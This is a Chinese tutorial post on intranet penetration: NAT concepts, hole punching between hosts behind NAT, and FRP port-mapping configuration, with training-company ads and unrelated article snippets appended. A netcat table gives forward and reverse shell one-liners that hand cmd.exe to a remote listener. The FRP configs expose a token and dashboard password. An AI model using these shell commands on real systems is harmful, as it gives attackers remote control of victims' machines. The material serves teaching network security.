内网穿透端口映射内外网反弹 shell 回顾

内网穿透&端口映射&内外网反弹 shell 回顾


内网概念

  • 我们常说的内网,一般指的是非公有 IPv4 地址的网络
  • 比如学校机房里的电脑一般为私有网络,家里的网络也是私有网络

私有网络的范围与划分

ipaddressarea
A 类地址10.0.0.0~10.255.255.255
B 类地址172.16.0.0 ~172.31.255.255
C 类地址192.168.0.0~192.168.255.255

image-20220620191736728

培训、环境、资料、考证
公众号:Geek极安云科
网络安全群:624032112
网络系统管理群:223627079 
网络建设与运维群:870959784 
移动应用开发群:548238632
短视频制作群:744125867
大数据应用开发群:962141356 
物联网应用与服务群:967579409
物联网应用开发群:884879404

极安云科校企合作经理VX liuliu5488233

极安云科专注于技能提升,赋能
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!

外网概念

  • 外网一般持有全球唯一的 IPv4 地址
  • 比如我的腾讯云服务器:114.132.218.55

为什么要讲内外网?

  • 内网 IP 可达外网 IP,与之交互
  • 外网 IP 则无法直接找到内网 IP

Netcat 实验

  • 内网连接内网(正、反)
  • 内网连接外网(反)
  • 外网连接内网(正)
  • 外网连接外网(正、反)
被攻击 PCOur PCexplanation
nc -e cmd.exe -lvnp 1234nc 10.10.10.1 1234正向 shell
nc -e cmd.exe 10.10.10.4 1234nc -lvnp 1234反向 shell

NAT 概念

网络地址转换(Network Address Translation,NAT)

NAT 是一种将私有(保留)地址转化为合法 IP 地址的转换技术

  • 它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中
  • NAT 可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。
  • NAT 设备自动屏蔽了非内网主机主动发起的连接

为什么要使用 NAT

	IPv4 网络地址紧缺,从而出现了私有网段,来补充地址,但私有网段不可访问 internet 所以出现了 NAT 地址转换,将私有地址,转换为公网 IP 从而访问 internet
	NAT 的作用也就在于:将私有IP地址,转化为公网的合法 IP

NAT 实验解析

端口映射

该理论已被收录至空间安全理论

内网穿透

内网穿透,也叫 NAT 穿透

进行内网穿透的目的:使用内网穿透是为了使具有某一个特定源 IP 地址源端口号的数据包,不被 NAT 设备屏蔽而正确路由到内网主机

应用在身边的内网穿透技术

  • 电脑两节点音频接收、转发

为什么要使用内网穿透

  • NAT 设备自动屏蔽了非内网主机主动发起的连接。从外网发往内网的数据包将被 NAT设备丢弃
  • 位于不同 NAT 设备之后的主机之间无法直接交换信息
  • 外部主机要与内网主机相互通信,必须由内网主机主动发起连接
  • 虽然保护了内网主机免于来自外部网络的攻击,另一方面也为 P2P 通信带来了一定困难

穿透模拟-通信双方一台 PC 位于 NAT 之后

环境:

PC A:拥有内网 IP,能够出网(NAT 转换)
PC B:拥有公网 IP,能够直接出网

如下图一般:

image-20220701130854572

  • PC A 位于 NAT 之后,并有用 IP 地址和对应端口 192.168.1.100:1234
  • PC B 位于 NAT 之前,并拥有 IP 地址和对应端口 218.5.18.2:1234
  • PC A 出网借助 NAT 转换,公网地址为 114.5.2.3

  • 由于 PC B 有一个公网 IP,所以 PC A 可以直接通过 TCP 协议连接到它的 IP 地址 ``
  • 然而如果 PC B 向 PC A 主动发起连接,则不会成功

此时就需要一个公有的服务器辅助进行内网穿透

  1. PC A 和 PC B 向服务器发起登录请求,并保持一个 TCP 或 UDP 连接
  2. 服务器记录他俩的 IP 地址和端口号

这里服务器对 PC A 是记录经过 NAT 转换之后的 IP 和端口号

  1. 当 PC B 想连接 PC A 时,首先向服务器提出请求,服务器在收到请求后向 PC A 发出打洞命令,并讲 PC B 的 IP 地址和端口号发送给 PC A
  2. PC A 根据收到 IP 地址和端口号向 PC B 发起 TCP 或 UDP 连接
  3. 最终 PC A 和 PC B 之间便可建立数据传输通道

穿透模拟-通信双方 PC 都位于 NAT 之后

环境:

两台主机都处于内网中,拥有出网条件(NAT 转换)

如下图一般:

image-20220701133313030

  • PCA 位于 NAT 之后,并有用 IP 地址和对应端口 192.168.1.100:1234
  • PCB 位于 NAT 之后,并拥有 IP 地址和对应端口 172.24.1.100:6000
  • PCA 出网借助 NATA 转换,公网地址为 218.5.18.2:51200
  • PCA 出网借助 NATB 转换,公网地址为 114.5.2.3:5000

服务器记录的 IP:端口 是 PCA 和 PCB 经过 NAT 转换之后的 IP:端口

此时,PCA 和 PCB 之间任意一方的连接请求都会被对方的 NAT 设备屏蔽

  1. PC A 首先向服务器提出连接请求,服务器将 PCA 的 NAT 218.5.18.2:51200 发送给 PCB,并向 PCB 发出打洞命令
  2. PCB 收到服务器的打洞命令后,首先向 PCA 的 NAT 地址 218.5.18.2:51200 发送一定数目的 UDP 探测包或 TCP 连接请求,然后在 NATB 上打一个方向为 218.5.18.2:51200 的洞
  3. PCB 向服务器报告打洞完成
  4. 服务器收到 PCB 的报告后,将 PCB 的公网 IP 地址和端口号 114.32.4.251:5000 发送给 PCA
  5. 此时 NATB 以及留下对应于 NATA 的 218.5.18.2:51200 洞,PCA 向 114.32.4.251:5000 将不会被丢弃 (这与端口映射的原理很相似)

内网穿透原理总结

  • NAT设备(或软件)维护一个状态表,用来把内部网络的私有 IP 地址映射到外部网络的合法 IP 地址上去

  • 每个包头中的 IP 地址和端口信息在 NAT 设备(或软件)中都被修改并翻译成一正确的 IP 地址发往下一级

  • 当一个内网主机通过 NAT 打开一个“外出”的 TCP 或 UDP 会话时,NAPT 分配给这个会话一个公网 IP 和端口,用来接收外网的响应的数据包,并经过转换通知内部网的主机

  • 这样,NAPT在 [私有IP:私有端口][公网IP:公网端口] 之间建立了一个端口绑定。

应用 FRP 内网穿透技术-使 PC 达到公网可寻

FRP Server 端配置

[common]
bind_port = 7000
dashboard_port = 7500
token = qwese.
dashboard_user = admin
dashboard_pwd = qwese.
vhost_http_port = 10080
vhost_https_port = 10443
tls_enable = true

FRP Client 端配置

client 端也就是我们要端口映射的对象,这里映射为 HTTP 协议

[common]
server_addr =114.132.218.55
server_port = 7000
token = qwese.

[perse.windowsPC-http2]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 9002

image-20220701160420035

应用 FRP 点对点内网穿透技术-PC 达到公网可寻

http://blog.demon.ren/685.htm

后言

我自己想了一下,我没敢去看,上次那课实在是讲太烂了

我也是第一次讲课,很多地方没有讲好,这是没法避免的,所以我也尽力在让自己讲好,在改变

所有学习的过程都是这样,不一定是在安全技术上

不能说,学安全就高人一等,学艺术,学文学,学数学,学哲学就高人一等

而是我们能否在学习的过程中,保持一个学徒的心

都说人看的多了,学的多了,就知道自己的渺小了,因为眼界和想法跟以前不一样

虽然我们的课听的人少,但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱

但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱

所以我希望大家,能够多多评论和思考以及多问一些问题,并去实践我们每节课的演练过程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/651116.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【408精华知识】指令字长、存储字长、机器字长大总结!

文章目录 一、三种字长二、三种字长之间的关系三、三种字长与部件位数之间的关系 一、三种字长 机器字长:等于字长,CPU一次能够处理的数据的位数。通常等于寄存器、ALU的位数。例子:windows 64位/32位,这里的64位和32位指的就是该…

工博科技联手伯尼纳,共谋食品包装外贸行业新市场,助力全球市场拓展!

4月11日,伯尼纳贸易(江苏)有限公司(以下简称“伯尼纳”)SAP项目正式启动,双方项目组成员在福建厦门出席本次项目启动会。伯尼纳SAP项目的启动标志着企业业财信息化建设进入了一个新的历程。 实现业财一体化…

9.4 Go语言入门(运算符)

Go语言入门(运算符) 目录三、运算符1. 算术运算符2. 关系运算符3. 逻辑运算符4. 位运算符5. 赋值运算符6. 其他运算符7. 运算符优先级 目录 Go 语言(Golang)是一种静态类型、编译型语言,由 Google 开发,专注…

【python】python商家会员数据分析可视化(源码+数据集+课程报告论文)

👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…

markdown画时序图的时候,如何自动显示每一条时序的序号

1: 现象描述 今天画时序图的时候,发现时序上面没有显示序号,看起来不够清晰,只有单纯的说明; 如下图所示 刚测试CSDN的时序图,默认是带序号的,看起来和实际使用的markdown工具有关系; 2:解决办…

Ubuntu 20.04 上安装和配置 VNC

先决条件 请确保以具有 sudo 权限的用户身份登录。建议使用具有 sudo 权限的普通用户进行处理,而不是直接使用 root 用户。创建用户并加入 sudoers 可自行百度。 安装桌面环境 大多数服务器没有安装桌面环境,因此我们首先要安装轻量级桌面环境。 Ubu…

Slash后台管理系统源码阅读笔记 后面面板中的折线图统计卡片是怎么实现的?

之前的笔记发表在博客和公众号以后,得到了一部分同学的喜爱的认可,所以今天继续。 目前这个管理系统的代码已经处理了一小部分: 接下来,我们看看第二栏那三个折线图统计卡片是怎么实现的。 这三个卡片还是使用的 antd 一行三列…

【C语言】文件操作(超级详细)

如果没有文件,我们写的程序的数据都存储在内存中,当程序退出,内存回收,数据就丢失了,下次再运行程序,已经看不到上次运行的数据了,而为了将数据持久性的保存,就需要使用文件。 一、…

什么是Capto刀柄,一起来认识一下

大家好,今天咱们不聊齿轮,说一说一款刀柄的相关内容。目前,高速加工中心的主轴转速可以达到10,000——50,000r /min ,极大地提高了生产率。高速加工工具系统的主要作用是保证刀具在机床主轴中的精确定位,将主轴的运动和…

请把「睡一个好觉」,当成一天里最重要的事来管理

我发现许多人都有这么一种情况:明明知道睡眠很重要,但却总是有意无意地熬夜。 比如: 给自己排了太多的学习和工作量,一不小心就到了凌晨一两点; 总觉得过去的一天什么都没干,宁愿在网上闲逛,也不…

数据持久化第六课-ASP.NET运行机制

数据持久化第六课-ASP.NET运行机制 一.预习笔记 1.动态网页的工作机制通常分为以下几个阶段: 1)使用动态Web开发技术编写Web应用程序,并部署到Web服务器。 2)客户端通过在浏览器中输入地址,请求动态页面。 3&#…

一个投稿好方法让你的文章早日发表

作为一名单位信息宣传员,我初入此行时,满腔热情,怀揣着传播单位价值、展示团队风采的理想,一头扎进了稿件撰写的海洋。我的目标很简单,就是通过文字的力量,让外界听到我们的声音,感受到我们的活力。然而,理想很丰满,现实却给我上了生动的一课。 起初,我遵循传统路径,选择了一家…

【ai】pycharm设置软件仓库编译运行基于langchain的chatpdf

联想笔记本 y9000p创建python工程: 使用langchain支持openai的向量化embedding安装软件包 发现没有openai ,添加软件仓库打开工具窗口 点击设置

23种设计模式之策略模式

策略模式详解:模式简介、动机、结构及应用 一、策略模式简介1.1 定义1.2 模式类型1.3 主要作用1.4 优点1.5 缺点 二、模式动机三、模式结构四、策略模式的实现4.1 步骤一:定义策略接口4.2 步骤二:实现具体策略类4.3 步骤三:创建上…

智能未来,触手可及,畅享移动云

目录 一、简介 二、移动云强大优势 1. 强大的网络基础设施 2. 可靠服务 3. 丰富产品线 4. 技术应用 5. 优惠价格策略 三、多商对比 网络优势 四、移动云的未来发展 五、实战应用 5.1 服务器选购 ​编辑5.2 服务器启动 5.3 实例操作 六、移动云的服务优势 6.1 客…

AppInventor2 代码调试方法,99%的人可能不知道这种方式!

AppInventor2 基本上所有调试App的前提是安装好AI伴侣,并与AI伴侣连接后进行,我们在设计界面的每次改动,都会实时的反映在AI伴侣中。 AI伴侣可以运行在手机上,也可以是安卓模拟器。 AI伴侣具体的安装及连接步骤请参考&#xff1…

Redisson集成SpringBoot

前言:Redisson集成SpringBoot主要有两种方式,一个是使用redisson-spring-boot-starter依赖(优先推荐),毕竟springboot主打的就是约定大于配置,这个依赖就是为springboot准备的。 再一种方式就是引入rediss…

openflow协议抓包分析

1、准备实验拓扑: 在Mininet环境中创建一个简单的SDN拓扑,包括控制器、交换机、主机等。 确保拓扑能够正常运行,SDN交换机与控制器建立连接。 采用主机Ubuntu22.04主机,IP地址是192.168.87.130,安装opendaylight控制…

数据集007:垃圾分类数据集(含数据集下载链接)

数据集简介 本数据拥有 训练集:43685张; 验证集:5363张; 测试集:5363张; 总类别数:158类。 部分代码: 定义数据集 class MyDataset(Dataset):def __init__(self, modetrain, …

大模型PEFT(一)之推理实践学习记录

1. 简介 多种模型: LLaMA、Mistral、Mixtral-MoE、Qwen、Yi、Gemmha、Baichuan、ChatGLM、Phi等等。集成方法:(增量)预训练、指令监督微调、奖励模型训练、PPO训练和DPO训练。多种精度:32比特全参数微调、16比特冻结微调、16比特LORA微调和基于AQLM/AWQ/GPTQ/LLM.int8 的2/4/8…